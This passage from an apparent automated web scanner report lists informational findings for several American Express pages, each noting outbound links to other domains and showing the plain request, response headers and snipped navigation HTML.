...[SNIP]...
<br /> <a href="http://dailywish.amexnetwork.com/default.aspx?cid=dailywish-issuer-inav-prop" id="menu_xsell_dailywish" title="">Go Now</a>
...[SNIP]...
<li>
<a title="" href="https://www.openforum.com/?cid=inav_home&inav=menu_business_openforum" id="menu_business_openforum">OPEN Forum</a>
...[SNIP]...
<li>
<a title="" href="http://www.membershiprewards.com/catalog/landing/open/Default.aspx?us_nu=dd&inav=menu_business_openrewards" id="menu_business_openrewards">Rewards & Benefits</a>
...[SNIP]...
<br /> <a href="http://www.openforum.com/" id="menu_xsell_openforum" title="">Learn More</a>
...[SNIP]...
<div id="defaultbp">
<a href="http://americanexpresscards.tt.omtrdc.net/m2/americanexpresscards/ubox/page?mbox=open_aj_global&ajcc=fuel-hub-big-pitch&mboxPC=1288274258236-662223.17&mboxSession=1288383256872-14407&mboxXDomain=disabled&mboxDefault=http://www201.americanexpress.com/business-credit-cards/business-solutions/acceptpay&mboxURL=http://www201.americanexpress.com/business-credit-cards/business-solutions/overview" onclick="s_objectID="americanexpresscards.tt.omtrdc.net/m2/americanexpresscards/ubox/page?mbox=open_aj_global&ajcc=fue_1";return this.s_oc?this.s_oc(e):true">
<img border="0/" src="http://secure.cmax.americanexpress.com/Internet/Acquisition/US_en/AppContent/SingleJourney/ngaosbn/OAimages/fuel/fuel_home_img/AcceptPay-BigPitch.jpg">
...[SNIP]...
<li>
<a id="footer_MR" title="" href="http://www.membershiprewards.com/HomePage.aspx?us_nu=dd&inav=footer_MR">Membership Rewards® Program</a>
...[SNIP]...
</a><a title="Facebook - Link will open in a new window" href="http://www.facebook.com/americanexpress"><img class="iNavIcoFaceBook" title="Facebook - Link will open in a new window" alt="Facebook - Link will open in a new window" src="https://secure.americanexpress.com/NextGenNavigation/img/clear.gif" /
...[SNIP]...
</a> <a title="Twitter - Link will open in a new window" href="http://www.twitter.com/americanexpress"><img class="iNavIcoTwitter" title="Twitter - Link will open in a new window" alt="Twitter - Link will open in a new window" src="https://secure.americanexpress.com/NextGenNavigation/img/clear.gif" /></a> <a title="YouTube - Link will open in a new window" href="http://www.youtube.com/americanexpress"><img class="iNavIcoYouTube" title="YouTube - Link will open in a new window" alt="YouTube - Link will open in a new window" src="https://secure.americanexpress.com/NextGenNavigation/img/clear.gif" />
...[SNIP]...

<img height="1" width="1" src="https://www2.tmvtp.com/amex/us/event.php?page=FUEL_NEW_HUB&ref=explinksrc" />
<script type='text/javascript' src='//static.atgsvcs.com/js/atgsvcs.js'></script>
...[SNIP]...
<noscript><iframe src="https://fls.doubleclick.net/activityi;src=1297440;type=singl842;cat=acqui275;ord=1;num=1?" width="1" height="1" frameborder="0"></iframe>
...[SNIP]...

20.219. http://www201.americanexpress.com/business-credit-cards/find-business-credit-cards previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	http://www201.americanexpress.com
Path:	/business-credit-cards/find-business-credit-cards

Issue detail

The page was loaded from a URL containing a query string:

http://www201.americanexpress.com/business-credit-cards/find-business-credit-cards?inav=menu_cards_sbc_letussuggest

The response contains the following links to other domains:

http://ad.doubleclick.net/clk;224762057;48546474;q?https://axptravel.americanexpress.com/consumertravel/travel.do?intlink=ctn-xs000049
http://dailywish.amexnetwork.com/default.aspx?cid=dailywish-issuer-inav-prop
http://offers.amexnetwork.com/selects/us/grid?categoryPath=/amexnetwork/category/Shopping&issuerName=us_prop&inav=menu_rewards_shopping
http://www.americanexpressfhr.com/?inav=menu_travel_fhr
http://www.amextravelresources.com/
http://www.facebook.com/americanexpress
http://www.membershiprewards.com/?inav=menu_rewards_usepoints
http://www.membershiprewards.com/HomePage.aspx?us_nu=dd&inav=footer_MR
http://www.membershiprewards.com/HomePage.aspx?us_nu=dd&inav=menu_rewards_mrhome
http://www.membershiprewards.com/catalog/earn/default.aspx?inav=menu_rewards_earnpoints
http://www.membershiprewards.com/catalog/landing/open/Default.aspx?us_nu=dd&inav=menu_business_openrewards
http://www.openforum.com/
http://www.twitter.com/americanexpress
http://www.youtube.com/americanexpress
https://fls.doubleclick.net/activityi;src=1297440;type=opengnrl;cat=openm589;ord=1;num=1?
https://www.aeprepaid.com/index.cfm?clientkey=retail%20sales%20channel&inav=menu_myacct_giftcardbal
https://www.openforum.com/?cid=inav_home&inav=menu_business_openforum

Request

GET /business-credit-cards/find-business-credit-cards?inav=menu_cards_sbc_letussuggest HTTP/1.1
Host: www201.americanexpress.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close

Response

HTTP/1.1 200 OK
Date: Sat, 05 Feb 2011 22:21:41 GMT
Server: IBM_HTTP_Server
Set-Cookie: SaneID=173.193.214.243-1296944501510871; path=/; expires=Tue, 09-Feb-16 22:21:41 GMT; domain=.americanexpress.com
Set-Cookie: JSESSIONID=0000pCAt3D2k_kXrHpYIFpqNuy9:1115nbqmn;Path=/
Cache-Control: no-cache="set-cookie,set-cookie2"
Expires: Thu, 01 Dec 1994 16:00:00 GMT
Connection: close
Content-Type: text/html;charset=ISO-8859-1
Content-Language: en-US
Content-Length: 83384

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml">

<head>
<title>Find Your Bu
...[SNIP]...
<li>
<a title="" href="https://www.aeprepaid.com/index.cfm?clientkey=retail%20sales%20channel&inav=menu_myacct_giftcardbal" id="menu_myacct_giftcardbal">Gift Card Balance</a>
...[SNIP]...
<li>
<a title="" href="http://www.americanexpressfhr.com?inav=menu_travel_fhr" id="menu_travel_fhr">Fine Hotels & Resorts</a>
...[SNIP]...
<li>
<a title="" href="http://www.amextravelresources.com/#/travel-office&us_nu=dd&inav=menu_travel_findoffice" id="menu_travel_findoffice">Find a Travel Service Office </a>
...[SNIP]...
<br /> <a href="http://ad.doubleclick.net/clk;224762057;48546474;q?https://axptravel.americanexpress.com/consumertravel/travel.do?intlink=ctn-xs000049" id="menu_xsell_booktravel" title="">Book Now</a>
...[SNIP]...
<li>
<a title="" href="http://www.membershiprewards.com/HomePage.aspx?us_nu=dd&inav=menu_rewards_mrhome" id="menu_rewards_mrhome">Membership Rewards® Home</a>
...[SNIP]...
<li>
<a title="" href="http://www.membershiprewards.com/?inav=menu_rewards_usepoints" id="menu_rewards_usepoints">Use Points</a>
...[SNIP]...
<li>
<a title="" href="http://www.membershiprewards.com/catalog/earn/default.aspx?inav=menu_rewards_earnpoints" id="menu_rewards_earnpoints">Earn Points</a>
...[SNIP]...
<li>
<a title="" href="http://offers.amexnetwork.com/selects/us/grid?categoryPath=/amexnetwork/category/Shopping&issuerName=us_prop&inav=menu_rewards_shopping" id="menu_rewards_shopping">Shopping Discounts</a>
...[SNIP]...
<br /> <a href="http://dailywish.amexnetwork.com/default.aspx?cid=dailywish-issuer-inav-prop" id="menu_xsell_dailywish" title="">Go Now</a>
...[SNIP]...
<li>
<a title="" href="https://www.openforum.com/?cid=inav_home&inav=menu_business_openforum" id="menu_business_openforum">OPEN Forum</a>
...[SNIP]...
<li>
<a title="" href="http://www.membershiprewards.com/catalog/landing/open/Default.aspx?us_nu=dd&inav=menu_business_openrewards" id="menu_business_openrewards">Rewards & Benefits</a>
...[SNIP]...
<br /> <a href="http://www.openforum.com/" id="menu_xsell_openforum" title="">Learn More</a>
...[SNIP]...
<li>
<a id="footer_MR" title="" href="http://www.membershiprewards.com/HomePage.aspx?us_nu=dd&inav=footer_MR">Membership Rewards® Program</a>
...[SNIP]...
</a><a title="Facebook - Link will open in a new window" href="http://www.facebook.com/americanexpress"><img class="iNavIcoFaceBook" title="Facebook - Link will open in a new window" alt="Facebook - Link will open in a new window" src="https://secure.americanexpress.com/NextGenNavigation/img/clear.gif" /
...[SNIP]...
</a> <a title="Twitter - Link will open in a new window" href="http://www.twitter.com/americanexpress"><img class="iNavIcoTwitter" title="Twitter - Link will open in a new window" alt="Twitter - Link will open in a new window" src="https://secure.americanexpress.com/NextGenNavigation/img/clear.gif" /></a> <a title="YouTube - Link will open in a new window" href="http://www.youtube.com/americanexpress"><img class="iNavIcoYouTube" title="YouTube - Link will open in a new window" alt="YouTube - Link will open in a new window" src="https://secure.americanexpress.com/NextGenNavigation/img/clear.gif" />
...[SNIP]...
<noscript><iframe src="https://fls.doubleclick.net/activityi;src=1297440;type=opengnrl;cat=openm589;ord=1;num=1?" width="1" height="1" frameborder="0"></iframe>
...[SNIP]...

20.220. http://www201.americanexpress.com/business-credit-cards/see-all-business-credit-cards previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	http://www201.americanexpress.com
Path:	/business-credit-cards/see-all-business-credit-cards

Issue detail

The page was loaded from a URL containing a query string:

http://www201.americanexpress.com/business-credit-cards/see-all-business-credit-cards?inav=menu_cards_sbc_viewallcards

The response contains the following links to other domains:

http://ad.doubleclick.net/clk;224762057;48546474;q?https://axptravel.americanexpress.com/consumertravel/travel.do?intlink=ctn-xs000049
http://dailywish.amexnetwork.com/default.aspx?cid=dailywish-issuer-inav-prop
http://offers.amexnetwork.com/selects/us/grid?categoryPath=/amexnetwork/category/Shopping&issuerName=us_prop&inav=menu_rewards_shopping
http://www.americanexpressfhr.com/?inav=menu_travel_fhr
http://www.amextravelresources.com/
http://www.facebook.com/americanexpress
http://www.membershiprewards.com/?inav=menu_rewards_usepoints
http://www.membershiprewards.com/HomePage.aspx?us_nu=dd&inav=footer_MR
http://www.membershiprewards.com/HomePage.aspx?us_nu=dd&inav=menu_rewards_mrhome
http://www.membershiprewards.com/catalog/earn/default.aspx?inav=menu_rewards_earnpoints
http://www.membershiprewards.com/catalog/landing/open/Default.aspx?us_nu=dd&inav=menu_business_openrewards
http://www.openforum.com/
http://www.twitter.com/americanexpress
http://www.youtube.com/americanexpress
https://fls.doubleclick.net/activityi;src=1297440;type=opengnrl;cat=openm589;ord=1;num=1?
https://www.aeprepaid.com/index.cfm?clientkey=retail%20sales%20channel&inav=menu_myacct_giftcardbal
https://www.openforum.com/?cid=inav_home&inav=menu_business_openforum

Request

GET /business-credit-cards/see-all-business-credit-cards?inav=menu_cards_sbc_viewallcards HTTP/1.1
Host: www201.americanexpress.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close

Response

HTTP/1.1 200 OK
Date: Sat, 05 Feb 2011 22:21:42 GMT
Server: IBM_HTTP_Server
Set-Cookie: SaneID=173.193.214.243-1296944502559033; path=/; expires=Tue, 09-Feb-16 22:21:42 GMT; domain=.americanexpress.com
Set-Cookie: JSESSIONID=0000Svb_NtjuCbgONIZnWvW3Y0e:1115nbqmn;Path=/
Cache-Control: no-cache="set-cookie,set-cookie2"
Expires: Thu, 01 Dec 1994 16:00:00 GMT
Connection: close
Content-Type: text/html;charset=ISO-8859-1
Content-Language: en-US
Content-Length: 79480

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml">

<head>
<title>All Business Car
...[SNIP]...
<li>
<a title="" href="https://www.aeprepaid.com/index.cfm?clientkey=retail%20sales%20channel&inav=menu_myacct_giftcardbal" id="menu_myacct_giftcardbal">Gift Card Balance</a>
...[SNIP]...
<li>
<a title="" href="http://www.americanexpressfhr.com?inav=menu_travel_fhr" id="menu_travel_fhr">Fine Hotels & Resorts</a>
...[SNIP]...
<li>
<a title="" href="http://www.amextravelresources.com/#/travel-office&us_nu=dd&inav=menu_travel_findoffice" id="menu_travel_findoffice">Find a Travel Service Office </a>
...[SNIP]...
<br /> <a href="http://ad.doubleclick.net/clk;224762057;48546474;q?https://axptravel.americanexpress.com/consumertravel/travel.do?intlink=ctn-xs000049" id="menu_xsell_booktravel" title="">Book Now</a>
...[SNIP]...
<li>
<a title="" href="http://www.membershiprewards.com/HomePage.aspx?us_nu=dd&inav=menu_rewards_mrhome" id="menu_rewards_mrhome">Membership Rewards® Home</a>
...[SNIP]...
<li>
<a title="" href="http://www.membershiprewards.com/?inav=menu_rewards_usepoints" id="menu_rewards_usepoints">Use Points</a>
...[SNIP]...
<li>
<a title="" href="http://www.membershiprewards.com/catalog/earn/default.aspx?inav=menu_rewards_earnpoints" id="menu_rewards_earnpoints">Earn Points</a>
...[SNIP]...
<li>
<a title="" href="http://offers.amexnetwork.com/selects/us/grid?categoryPath=/amexnetwork/category/Shopping&issuerName=us_prop&inav=menu_rewards_shopping" id="menu_rewards_shopping">Shopping Discounts</a>
...[SNIP]...
<br /> <a href="http://dailywish.amexnetwork.com/default.aspx?cid=dailywish-issuer-inav-prop" id="menu_xsell_dailywish" title="">Go Now</a>
...[SNIP]...
<li>
<a title="" href="https://www.openforum.com/?cid=inav_home&inav=menu_business_openforum" id="menu_business_openforum">OPEN Forum</a>
...[SNIP]...
<li>
<a title="" href="http://www.membershiprewards.com/catalog/landing/open/Default.aspx?us_nu=dd&inav=menu_business_openrewards" id="menu_business_openrewards">Rewards & Benefits</a>
...[SNIP]...
<br /> <a href="http://www.openforum.com/" id="menu_xsell_openforum" title="">Learn More</a>
...[SNIP]...
<li>
<a id="footer_MR" title="" href="http://www.membershiprewards.com/HomePage.aspx?us_nu=dd&inav=footer_MR">Membership Rewards® Program</a>
...[SNIP]...
</a><a title="Facebook - Link will open in a new window" href="http://www.facebook.com/americanexpress"><img class="iNavIcoFaceBook" title="Facebook - Link will open in a new window" alt="Facebook - Link will open in a new window" src="https://secure.americanexpress.com/NextGenNavigation/img/clear.gif" /
...[SNIP]...
</a> <a title="Twitter - Link will open in a new window" href="http://www.twitter.com/americanexpress"><img class="iNavIcoTwitter" title="Twitter - Link will open in a new window" alt="Twitter - Link will open in a new window" src="https://secure.americanexpress.com/NextGenNavigation/img/clear.gif" /></a> <a title="YouTube - Link will open in a new window" href="http://www.youtube.com/americanexpress"><img class="iNavIcoYouTube" title="YouTube - Link will open in a new window" alt="YouTube - Link will open in a new window" src="https://secure.americanexpress.com/NextGenNavigation/img/clear.gif" />
...[SNIP]...
<noscript>
<iframe src="https://fls.doubleclick.net/activityi;src=1297440;type=opengnrl;cat=openm589;ord=1;num=1?" width="1" height="1" frameborder="0"></iframe>
...[SNIP]...

20.221. http://www201.americanexpress.com/getthecard/ previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	http://www201.americanexpress.com
Path:	/getthecard/

Issue detail

The page was loaded from a URL containing a query string:

http://www201.americanexpress.com/getthecard/?inav=menu_cards_pc_learnmore

The response contains the following links to other domains:

http://ad.doubleclick.net/clk;224762057;48546474;q?https://axptravel.americanexpress.com/consumertravel/travel.do?intlink=ctn-xs000049
http://dailywish.amexnetwork.com/default.aspx?cid=dailywish-issuer-inav-prop
http://offers.amexnetwork.com/selects/us/grid?categoryPath=/amexnetwork/category/Shopping&issuerName=us_prop&inav=menu_rewards_shopping
http://www.americanexpressfhr.com/?inav=menu_travel_fhr
http://www.amextravelresources.com/
http://www.facebook.com/americanexpress
http://www.membershiprewards.com/?inav=menu_rewards_usepoints
http://www.membershiprewards.com/HomePage.aspx?us_nu=dd&inav=footer_MR
http://www.membershiprewards.com/HomePage.aspx?us_nu=dd&inav=menu_rewards_mrhome
http://www.membershiprewards.com/catalog/earn/default.aspx?inav=menu_rewards_earnpoints
http://www.membershiprewards.com/catalog/landing/open/Default.aspx?us_nu=dd&inav=menu_business_openrewards
http://www.openforum.com/
http://www.twitter.com/americanexpress
http://www.youtube.com/americanexpress
https://fls.doubleclick.net/activityi;src=1297440;type=singl842;cat=singl618;ord=1;num=0123456789?
https://www.aeprepaid.com/index.cfm?clientkey=retail%20sales%20channel&inav=menu_myacct_giftcardbal
https://www.openforum.com/?cid=inav_home&inav=menu_business_openforum

Request

GET /getthecard/?inav=menu_cards_pc_learnmore HTTP/1.1
Host: www201.americanexpress.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close

Response

HTTP/1.1 200 OK
Date: Sat, 05 Feb 2011 22:21:29 GMT
Server: IBM_HTTP_Server
Set-Cookie: SaneID=173.193.214.243-1296944489213838; path=/; expires=Tue, 09-Feb-16 22:21:29 GMT; domain=.americanexpress.com
Set-Cookie: JSESSIONID=0000ACFuaFW40epo4NOPY8h1CgX:10ue6mp18;Path=/
Cache-Control: no-cache="set-cookie,set-cookie2"
Expires: Thu, 01 Dec 1994 16:00:00 GMT
Connection: close
Content-Type: text/html;charset=ISO-8859-1
Content-Language: en-US
Content-Length: 48572

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">

<html xmlns="http://www.w3.org/1999/xhtml">
<head>
<script src="htt
...[SNIP]...
<li>
<a title="" href="https://www.aeprepaid.com/index.cfm?clientkey=retail%20sales%20channel&inav=menu_myacct_giftcardbal" id="menu_myacct_giftcardbal">Gift Card Balance</a>
...[SNIP]...
<li>
<a title="" href="http://www.americanexpressfhr.com?inav=menu_travel_fhr" id="menu_travel_fhr">Fine Hotels & Resorts</a>
...[SNIP]...
<li>
<a title="" href="http://www.amextravelresources.com/#/travel-office&us_nu=dd&inav=menu_travel_findoffice" id="menu_travel_findoffice">Find a Travel Service Office </a>
...[SNIP]...
<br /> <a href="http://ad.doubleclick.net/clk;224762057;48546474;q?https://axptravel.americanexpress.com/consumertravel/travel.do?intlink=ctn-xs000049" id="menu_xsell_booktravel" title="">Book Now</a>
...[SNIP]...
<li>
<a title="" href="http://www.membershiprewards.com/HomePage.aspx?us_nu=dd&inav=menu_rewards_mrhome" id="menu_rewards_mrhome">Membership Rewards® Home</a>
...[SNIP]...
<li>
<a title="" href="http://www.membershiprewards.com/?inav=menu_rewards_usepoints" id="menu_rewards_usepoints">Use Points</a>
...[SNIP]...
<li>
<a title="" href="http://www.membershiprewards.com/catalog/earn/default.aspx?inav=menu_rewards_earnpoints" id="menu_rewards_earnpoints">Earn Points</a>
...[SNIP]...
<li>
<a title="" href="http://offers.amexnetwork.com/selects/us/grid?categoryPath=/amexnetwork/category/Shopping&issuerName=us_prop&inav=menu_rewards_shopping" id="menu_rewards_shopping">Shopping Discounts</a>
...[SNIP]...
<br /> <a href="http://dailywish.amexnetwork.com/default.aspx?cid=dailywish-issuer-inav-prop" id="menu_xsell_dailywish" title="">Go Now</a>
...[SNIP]...
<li>
<a title="" href="https://www.openforum.com/?cid=inav_home&inav=menu_business_openforum" id="menu_business_openforum">OPEN Forum</a>
...[SNIP]...
<li>
<a title="" href="http://www.membershiprewards.com/catalog/landing/open/Default.aspx?us_nu=dd&inav=menu_business_openrewards" id="menu_business_openrewards">Rewards & Benefits</a>
...[SNIP]...
<br /> <a href="http://www.openforum.com/" id="menu_xsell_openforum" title="">Learn More</a>
...[SNIP]...
<li>
<a id="footer_MR" title="" href="http://www.membershiprewards.com/HomePage.aspx?us_nu=dd&inav=footer_MR">Membership Rewards® Program</a>
...[SNIP]...
</a><a title="Facebook - Link will open in a new window" href="http://www.facebook.com/americanexpress"><img class="iNavIcoFaceBook" title="Facebook - Link will open in a new window" alt="Facebook - Link will open in a new window" src="https://secure.americanexpress.com/NextGenNavigation/img/clear.gif" /
...[SNIP]...
</a> <a title="Twitter - Link will open in a new window" href="http://www.twitter.com/americanexpress"><img class="iNavIcoTwitter" title="Twitter - Link will open in a new window" alt="Twitter - Link will open in a new window" src="https://secure.americanexpress.com/NextGenNavigation/img/clear.gif" /></a> <a title="YouTube - Link will open in a new window" href="http://www.youtube.com/americanexpress"><img class="iNavIcoYouTube" title="YouTube - Link will open in a new window" alt="YouTube - Link will open in a new window" src="https://secure.americanexpress.com/NextGenNavigation/img/clear.gif" />
...[SNIP]...
<noscript><iframe src="https://fls.doubleclick.net/activityi;src=1297440;type=singl842;cat=singl618;ord=1;num=0123456789?" width="1" height="1" frameborder="0"></iframe>
...[SNIP]...

20.222. http://www201.americanexpress.com/getthecard/home previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	http://www201.americanexpress.com
Path:	/getthecard/home

Issue detail

The page was loaded from a URL containing a query string:

http://www201.americanexpress.com/getthecard/home?sj_tabToOpen=1&inav=menu_cards_pc_choosecard

The response contains the following links to other domains:

http://ad.doubleclick.net/clk;224762057;48546474;q?https://axptravel.americanexpress.com/consumertravel/travel.do?intlink=ctn-xs000049
http://dailywish.amexnetwork.com/default.aspx?cid=dailywish-issuer-inav-prop
http://offers.amexnetwork.com/selects/us/grid?categoryPath=/amexnetwork/category/Shopping&issuerName=us_prop&inav=menu_rewards_shopping
http://www.americanexpressfhr.com/?inav=menu_travel_fhr
http://www.amextravelresources.com/
http://www.facebook.com/americanexpress
http://www.membershiprewards.com/?inav=menu_rewards_usepoints
http://www.membershiprewards.com/HomePage.aspx?us_nu=dd&inav=footer_MR
http://www.membershiprewards.com/HomePage.aspx?us_nu=dd&inav=menu_rewards_mrhome
http://www.membershiprewards.com/catalog/earn/default.aspx?inav=menu_rewards_earnpoints
http://www.membershiprewards.com/catalog/landing/open/Default.aspx?us_nu=dd&inav=menu_business_openrewards
http://www.openforum.com/
http://www.twitter.com/americanexpress
http://www.youtube.com/americanexpress
https://fls.doubleclick.net/activityi;src=1297440;type=singl842;cat=singl618;ord=1;num=0123456789?
https://www.aeprepaid.com/index.cfm?clientkey=retail%20sales%20channel&inav=menu_myacct_giftcardbal
https://www.openforum.com/?cid=inav_home&inav=menu_business_openforum

Request

Response

HTTP/1.1 200 OK
Date: Sat, 05 Feb 2011 22:21:23 GMT
Server: IBM_HTTP_Server
Set-Cookie: SaneID=173.193.214.243-1296944483932373; path=/; expires=Tue, 09-Feb-16 22:21:23 GMT; domain=.americanexpress.com
Set-Cookie: JSESSIONID=0000oFplttRUbELe348jm0hGGKR:10ue6mp18;Path=/
Cache-Control: no-cache="set-cookie,set-cookie2"
Expires: Thu, 01 Dec 1994 16:00:00 GMT
Connection: close
Content-Type: text/html;charset=ISO-8859-1
Content-Language: en-US
Content-Length: 48572

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">

<html xmlns="http://www.w3.org/1999/xhtml">
<head>
<script src="htt
...[SNIP]...
<li>
<a title="" href="https://www.aeprepaid.com/index.cfm?clientkey=retail%20sales%20channel&inav=menu_myacct_giftcardbal" id="menu_myacct_giftcardbal">Gift Card Balance</a>
...[SNIP]...
<li>
<a title="" href="http://www.americanexpressfhr.com?inav=menu_travel_fhr" id="menu_travel_fhr">Fine Hotels & Resorts</a>
...[SNIP]...
<li>
<a title="" href="http://www.amextravelresources.com/#/travel-office&us_nu=dd&inav=menu_travel_findoffice" id="menu_travel_findoffice">Find a Travel Service Office </a>
...[SNIP]...
<br /> <a href="http://ad.doubleclick.net/clk;224762057;48546474;q?https://axptravel.americanexpress.com/consumertravel/travel.do?intlink=ctn-xs000049" id="menu_xsell_booktravel" title="">Book Now</a>
...[SNIP]...
<li>
<a title="" href="http://www.membershiprewards.com/HomePage.aspx?us_nu=dd&inav=menu_rewards_mrhome" id="menu_rewards_mrhome">Membership Rewards® Home</a>
...[SNIP]...
<li>
<a title="" href="http://www.membershiprewards.com/?inav=menu_rewards_usepoints" id="menu_rewards_usepoints">Use Points</a>
...[SNIP]...
<li>
<a title="" href="http://www.membershiprewards.com/catalog/earn/default.aspx?inav=menu_rewards_earnpoints" id="menu_rewards_earnpoints">Earn Points</a>
...[SNIP]...
<li>
<a title="" href="http://offers.amexnetwork.com/selects/us/grid?categoryPath=/amexnetwork/category/Shopping&issuerName=us_prop&inav=menu_rewards_shopping" id="menu_rewards_shopping">Shopping Discounts</a>
...[SNIP]...
<br /> <a href="http://dailywish.amexnetwork.com/default.aspx?cid=dailywish-issuer-inav-prop" id="menu_xsell_dailywish" title="">Go Now</a>
...[SNIP]...
<li>
<a title="" href="https://www.openforum.com/?cid=inav_home&inav=menu_business_openforum" id="menu_business_openforum">OPEN Forum</a>
...[SNIP]...
<li>
<a title="" href="http://www.membershiprewards.com/catalog/landing/open/Default.aspx?us_nu=dd&inav=menu_business_openrewards" id="menu_business_openrewards">Rewards & Benefits</a>
...[SNIP]...
<br /> <a href="http://www.openforum.com/" id="menu_xsell_openforum" title="">Learn More</a>
...[SNIP]...
<li>
<a id="footer_MR" title="" href="http://www.membershiprewards.com/HomePage.aspx?us_nu=dd&inav=footer_MR">Membership Rewards® Program</a>
...[SNIP]...
</a><a title="Facebook - Link will open in a new window" href="http://www.facebook.com/americanexpress"><img class="iNavIcoFaceBook" title="Facebook - Link will open in a new window" alt="Facebook - Link will open in a new window" src="https://secure.americanexpress.com/NextGenNavigation/img/clear.gif" /
...[SNIP]...
</a> <a title="Twitter - Link will open in a new window" href="http://www.twitter.com/americanexpress"><img class="iNavIcoTwitter" title="Twitter - Link will open in a new window" alt="Twitter - Link will open in a new window" src="https://secure.americanexpress.com/NextGenNavigation/img/clear.gif" /></a> <a title="YouTube - Link will open in a new window" href="http://www.youtube.com/americanexpress"><img class="iNavIcoYouTube" title="YouTube - Link will open in a new window" alt="YouTube - Link will open in a new window" src="https://secure.americanexpress.com/NextGenNavigation/img/clear.gif" />
...[SNIP]...
<noscript><iframe src="https://fls.doubleclick.net/activityi;src=1297440;type=singl842;cat=singl618;ord=1;num=0123456789?" width="1" height="1" frameborder="0"></iframe>
...[SNIP]...

20.223. https://www201.americanexpress.com/MobileWeb/index.jsp previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	https://www201.americanexpress.com
Path:	/MobileWeb/index.jsp

Issue detail

The page was loaded from a URL containing a query string:

https://www201.americanexpress.com/MobileWeb/index.jsp?intlink=selfservices_mobile

The response contains the following links to other domains:

https://www.aeprepaid.com/index.cfm?clientkey=retail%20sales%20channel&inav=menu_myacct_giftcardbal
https://www.openforum.com/?cid=inav_home&inav=menu_business_openforum

Request

GET /MobileWeb/index.jsp?intlink=selfservices_mobile HTTP/1.1
Host: www201.americanexpress.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close

Response

HTTP/1.1 200 OK
Date: Sat, 05 Feb 2011 22:22:06 GMT
Server: IBM_HTTP_Server
Set-Cookie: SaneID=173.193.214.243-1296944526880744; path=/; expires=Tue, 09-Feb-16 22:22:06 GMT; domain=.americanexpress.com
Set-Cookie: JSESSIONID=0001JP2FmX8woRjThU0NHQpI7eh:11m137ri1;Path=/
Cache-Control: no-cache="set-cookie,set-cookie2"
Expires: Thu, 01 Dec 1994 16:00:00 GMT
Connection: close
Content-Type: text/html;charset=ISO-8859-1
Content-Language: en-US
Content-Length: 33070

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">

<html xmlns="http://www.w3.org/1999/xhtml">
<head>
<meta http-equiv="Co
...[SNIP]...
<li>
<a title="" href="https://www.aeprepaid.com/index.cfm?clientkey=retail%20sales%20channel&inav=menu_myacct_giftcardbal" id="menu_myacct_giftcardbal">Gift Card Balance</a>
...[SNIP]...
<li>
<a title="" href="https://www.openforum.com/?cid=inav_home&inav=menu_business_openforum" id="menu_business_openforum">OPEN Forum</a>
...[SNIP]...

20.224. https://www209.americanexpress.com/merchant/marketing-data/pages/home previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	https://www209.americanexpress.com
Path:	/merchant/marketing-data/pages/home

Issue detail

The page was loaded from a URL containing a query string:

https://www209.americanexpress.com/merchant/marketing-data/pages/home?inav=menu_myacct_merchantsolutions

The response contains the following links to other domains:

https://www.aeprepaid.com/index.cfm?clientkey=retail%20sales%20channel&inav=menu_myacct_giftcardbal
https://www.openforum.com/?cid=inav_home&inav=menu_business_openforum

Request

GET /merchant/marketing-data/pages/home?inav=menu_myacct_merchantsolutions HTTP/1.1
Host: www209.americanexpress.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close

Response

HTTP/1.1 200 OK
Date: Sat, 05 Feb 2011 22:22:16 GMT
Server: IBM_HTTP_Server
Cache-Control: no-cache
Pragma: no-cache
Expires: Thu, 01 Jan 1970 00:00:00 GMT
Set-Cookie: mertkit_JSESSIONID=0000qzBLd1LKBT82erXJXJGfRcl:15bvkpc1o; Path=/
Connection: close
Content-Type: text/html;charset=ISO-8859-1
Content-Language: en-US
Set-Cookie: BIGipServerwww260-443=873204234.47873.0000; path=/
Content-Length: 67227

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd">

<html xmlns="http://www.w3.org/1999/xhtml">
<head>
<meta http-equiv="Con
...[SNIP]...
<li>
<a title="" href="https://www.aeprepaid.com/index.cfm?clientkey=retail%20sales%20channel&inav=menu_myacct_giftcardbal" id="menu_myacct_giftcardbal">Gift Card Balance</a>
...[SNIP]...
<li>
<a title="" href="https://www.openforum.com/?cid=inav_home&inav=menu_business_openforum" id="menu_business_openforum">OPEN Forum</a>
...[SNIP]...

20.225. https://www209.americanexpress.com/merchant/marketing-data/pages/marketingprograms previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	https://www209.americanexpress.com
Path:	/merchant/marketing-data/pages/marketingprograms

Issue detail

The page was loaded from a URL containing a query string:

https://www209.americanexpress.com/merchant/marketing-data/pages/marketingprograms?inav=menu_business_merchmarket

The response contains the following links to other domains:

https://www.aeprepaid.com/index.cfm?clientkey=retail%20sales%20channel&inav=menu_myacct_giftcardbal
